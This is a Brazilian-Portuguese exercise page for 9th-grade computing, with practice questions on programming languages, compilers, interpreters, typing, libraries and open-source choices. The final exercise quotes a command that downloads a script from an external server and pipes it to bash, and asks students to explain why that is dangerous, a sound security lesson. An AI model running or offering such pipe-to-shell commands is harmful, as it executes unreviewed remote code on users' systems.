Voltar ao inícioComputação · 9º ano · Mudar de matéria
Começar grátis
Apontamentos

Exercícios: Linguagens de programação

Pratica★☆☆
Explique com suas palavras o que é um programa e o que é um algoritmo, e dê um exemplo de «algoritmo» da vida diária (uma receita, as instruções para chegar à sua…

Explique com suas palavras o que é um programa e o que é um algoritmo, e dê um exemplo de «algoritmo» da vida diária (uma receita, as instruções para chegar à sua casa...) identificando seus passos.

Resolver
Pratica★☆☆
Uma linguagem natural (como o português) admite frases ambíguas, mas uma linguagem de programação não. Explique o que isso significa e por que é imprescindível que as…

Uma linguagem natural (como o português) admite frases ambíguas, mas uma linguagem de programação não. Explique o que isso significa e por que é imprescindível que as instruções de um programa tenham uma única interpretação possível.

Resolver
Pratica★☆☆
A figura mostra a cadeia que converte o que uma pessoa programadora escreve em algo que o computador pode executar, mas o elemento central está coberto por um ponto de…

A figura mostra a cadeia que converte o que uma pessoa programadora escreve em algo que o computador pode executar, mas o elemento central está coberto por um ponto de interrogação, como mostra a figura.

Código-fonte é escrito pela pessoa ? Programa executável é executado pela máquina

Indique qual elemento falta na cadeia, explique quais dois tipos de ferramentas podem ocupar esse lugar (compilador e interpretador) e descreva em que cada uma se diferencia.

Resolver
Pratica★☆☆
Explique o que é a sintaxe de uma linguagem de programação e por que um simples parêntese a menos impede a execução do programa, enquanto em um texto em português um…

Explique o que é a sintaxe de uma linguagem de programação e por que um simples parêntese a menos impede a execução do programa, enquanto em um texto em português um erro de ortografia não impede a compreensão.

Resolver
Pratica★☆☆
O que é um ambiente de desenvolvimento (IDE)? Cite duas ajudas que ele oferece a quem programa (coloração de sintaxe, detecção de erros durante a digitação, execução…

O que é um ambiente de desenvolvimento (IDE)? Cite duas ajudas que ele oferece a quem programa (coloração de sintaxe, detecção de erros durante a digitação, execução integrada) e explique cada uma em uma frase.

Resolver
Pratica★☆☆
Compare programar com blocos (como o Scratch) e programar com texto: dê uma vantagem de cada abordagem para aprender e um motivo pelo qual os projetos grandes acabam…

Compare programar com blocos (como o Scratch) e programar com texto: dê uma vantagem de cada abordagem para aprender e um motivo pelo qual os projetos grandes acabam sendo escritos em texto.

Resolver
Pratica★☆☆
Explique o que é o código-fonte de um programa, quem o escreve e o que precisa acontecer com ele antes que o computador possa executá-lo (traduzi-lo para linguagem de…

Explique o que é o código-fonte de um programa, quem o escreve e o que precisa acontecer com ele antes que o computador possa executá-lo (traduzi-lo para linguagem de máquina).

Resolver
Pratica★☆☆
Cite três linguagens de programação diferentes e uma aplicação ou área típica de cada uma (páginas web, análise de dados, jogos, sistemas, apps...).

Cite três linguagens de programação diferentes e uma aplicação ou área típica de cada uma (páginas web, análise de dados, jogos, sistemas, apps...).

Resolver
Pratica★★☆
Explique a diferença entre uma linguagem compilada e uma interpretada: o que acontece com o código-fonte em cada caso, quando os erros são detectados e o que o usuário…

Explique a diferença entre uma linguagem compilada e uma interpretada: o que acontece com o código-fonte em cada caso, quando os erros são detectados e o que o usuário final precisa para executar o programa. Dê um exemplo de linguagem de cada tipo.

Resolver
Pratica★★☆
As linguagens também se agrupam por paradigmas (imperativo, orientado a objetos, funcional...). Explique brevemente em que consiste a programação orientada a objetos e…

As linguagens também se agrupam por paradigmas (imperativo, orientado a objetos, funcional...). Explique brevemente em que consiste a programação orientada a objetos e justifique por que ela é útil quando um programa modela coisas do mundo real (alunos, contas, veículos...).

Resolver
Pratica★★☆
Sua turma deve escolher uma linguagem para desenvolver um pequeno aplicativo de gestão do clube de leitura. Cite e explique três características da linguagem que você…

Sua turma deve escolher uma linguagem para desenvolver um pequeno aplicativo de gestão do clube de leitura. Cite e explique três características da linguagem que você avaliaria antes de decidir (facilidade de aprendizagem, bibliotecas disponíveis, comunidade, desempenho, plataforma de destino...) e justifique qual priorizaria neste caso concreto.

Resolver
Pratica★★☆
Com uma linguagem compilada gera-se um executável; com uma interpretada é necessário ter o interpretador instalado. Analise que diferença há para o usuário final de cada…

Com uma linguagem compilada gera-se um executável; com uma interpretada é necessário ter o interpretador instalado. Analise que diferença há para o usuário final de cada programa (o que deve instalar, em que sistemas funcionará) e que diferença há para a pessoa que desenvolve (ciclo de escrever e testar).

Resolver
Pratica★★☆
As bibliotecas são coleções de código já pronto que um programa pode usar. Explique por que «não reinventar a roda» é uma boa prática, com um exemplo (biblioteca de…

As bibliotecas são coleções de código já pronto que um programa pode usar. Explique por que «não reinventar a roda» é uma boa prática, com um exemplo (biblioteca de gráficos, de conexão a bancos de dados), e um cuidado que se deve ter ao usar bibliotecas de terceiros.

Resolver
Pratica★★☆
Em algumas linguagens, somar um número com um texto produz um erro antes de executar o programa; em outras, o erro aparece apenas se essa linha for executada. Explique o…

Em algumas linguagens, somar um número com um texto produz um erro antes de executar o programa; em outras, o erro aparece apenas se essa linha for executada. Explique o que é a tipagem de uma linguagem (estática ou dinâmica) e que vantagem há em detectar esses erros o quanto antes.

Resolver
Pratica★★☆
O HTML organiza o conteúdo das páginas web, mas não é considerado uma linguagem de programação completa. Explique que diferença há entre uma linguagem de marcação e uma…

O HTML organiza o conteúdo das páginas web, mas não é considerado uma linguagem de programação completa. Explique que diferença há entre uma linguagem de marcação e uma de programação (é possível expressar decisões e repetições?) e que linguagem costuma acompanhar o HTML para fornecer a lógica.

Resolver
Pratica★★☆
Escolha e justifique uma linguagem para cada projeto: (a) analisar as notas de toda a escola e gerar gráficos, (b) um jogo 3D com grandes exigências de desempenho e (c)…

Escolha e justifique uma linguagem para cada projeto: (a) analisar as notas de toda a escola e gerar gráficos, (b) um jogo 3D com grandes exigências de desempenho e (c) uma página web interativa executada no navegador. Indique qual critério pesou mais em cada escolha.

Resolver
Pratica★★★
Implementa-se o algoritmo de busca binária para encontrar um valor em uma lista ordenada de 1 000 000 de inteiros em duas linguagens distintas: em Python leva 12,4 ms e…

Implementa-se o algoritmo de busca binária para encontrar um valor em uma lista ordenada de 1 000 000 de inteiros em duas linguagens distintas: em Python leva 12,4 ms e em C leva 0,8 ms. Um colega afirma: «Como em C leva menos tempo, a lógica do algoritmo mudou e agora realiza menos comparações do que em Python». Refute de forma fundamentada esta afirmação: a) Explique quais elementos do programa permanecem exatamente iguais em ambas as versões e quais mudam. b) Justifique a que se deve a diferença de tempo se o número de comparações lógicas é idêntico. c) A partir deste caso, argumente por que se diz que aprender a programar consiste em aprender a pensar e não em dominar uma linguagem concreta.

Resolver
Pratica★★★
Uma linguagem de alto nível interpretada costuma ser mais cômoda de escrever, mas mais lenta na execução do que uma compilada de baixo nível. Analise esse compromisso e…

Uma linguagem de alto nível interpretada costuma ser mais cômoda de escrever, mas mais lenta na execução do que uma compilada de baixo nível. Analise esse compromisso e decida que tipo de linguagem você escolheria para: (a) o controle de um airbag, (b) um protótipo de app para testar uma ideia, (c) um jogo com gráficos exigentes. Justifique cada decisão.

Resolver
Pratica★★★
Uma empresa emergente (startup) projeta um aplicativo para gerenciar estações meteorológicas. A equipe hesita entre duas opções técnicas para o seu backend: Opção A,…

Uma empresa emergente (startup) projeta um aplicativo para gerenciar estações meteorológicas. A equipe hesita entre duas opções técnicas para o seu backend: Opção A, utilizar uma plataforma e linguagem proprietárias cuja licença custa 450 reais por ano por desenvolvedor, com suporte técnico fechado; ou Opção B, utilizar uma linguagem e ferramentas de código aberto com licença livre e comunidade ativa. Analise a situação: a) Se o fornecedor da Opção A triplicar o preço da licença ou for absorvido por um concorrente que descontinue o produto, preveja que opções técnicas restariam à empresa e que impacto sofreria. b) Justifique duas vantagens técnicas e de segurança que a Opção B oferece em relação à Opção A diante da detecção de uma falha crítica em uma biblioteca. c) Em que caso concreto poderia estar justificado assumir a dependência da plataforma proprietária?

Resolver
Pratica★★★
Uma instituição de ensino renova o equipamento de sua sala de Tecnologia e avalia duas opções para programar os microcontroladores de seus projetos: o Ambiente A, um…

Uma instituição de ensino renova o equipamento de sua sala de Tecnologia e avalia duas opções para programar os microcontroladores de seus projetos: o Ambiente A, um software comercial proprietário com licença gratuita durante dois anos, porém de código fechado e compatível apenas com os sensores de sua marca; e o Ambiente B, uma cadeia de ferramentas de código aberto (compilador livre e bibliotecas abertas) compatível com múltiplas placas do mercado. a) Preveja que consequências econômicas e técnicas a instituição enfrentará no terceiro ano se o fornecedor do Ambiente A mudar sua política de preços ou retirar o suporte aos modelos mais antigos. b) Justifique que possibilidades de aprendizagem e adaptação o Ambiente B oferece para que os estudantes estudem como o código funciona por dentro ou conectem sensores descontinuados. c) Do ponto de vista do gasto público e da soberania tecnológica, defenda qual das duas opções deve ser escolhida.

Resolver
Pratica★★★
Para uma prática de controle domótico, um estudante precisa enviar alertas por e-mail diante de um vazamento de gás. Em vez de programá-lo, copia de um fórum da internet…

Para uma prática de controle domótico, um estudante precisa enviar alertas por e-mail diante de um vazamento de gás. Em vez de programá-lo, copia de um fórum da internet esta linha sem revisar seu conteúdo: os.system('curl -s https://servidor-externo.xyz/alerta.sh | bash'). O aluno afirma: «O código funciona e o alerta chega, portanto a solução é completamente válida e segura». a) Refute a afirmação do aluno analisando os riscos graves de segurança e injeção de código que essa linha introduz no sistema e na rede local. b) Se o servidor externo deixar de funcionar semanas mais tarde, preveja que dificuldades o aluno terá para manter o sistema se não compreendeu a lógica original. c) Projete um protocolo de quatro passos que um programador responsável deve seguir antes de integrar código ou bibliotecas de terceiros em um projeto técnico.

Resolver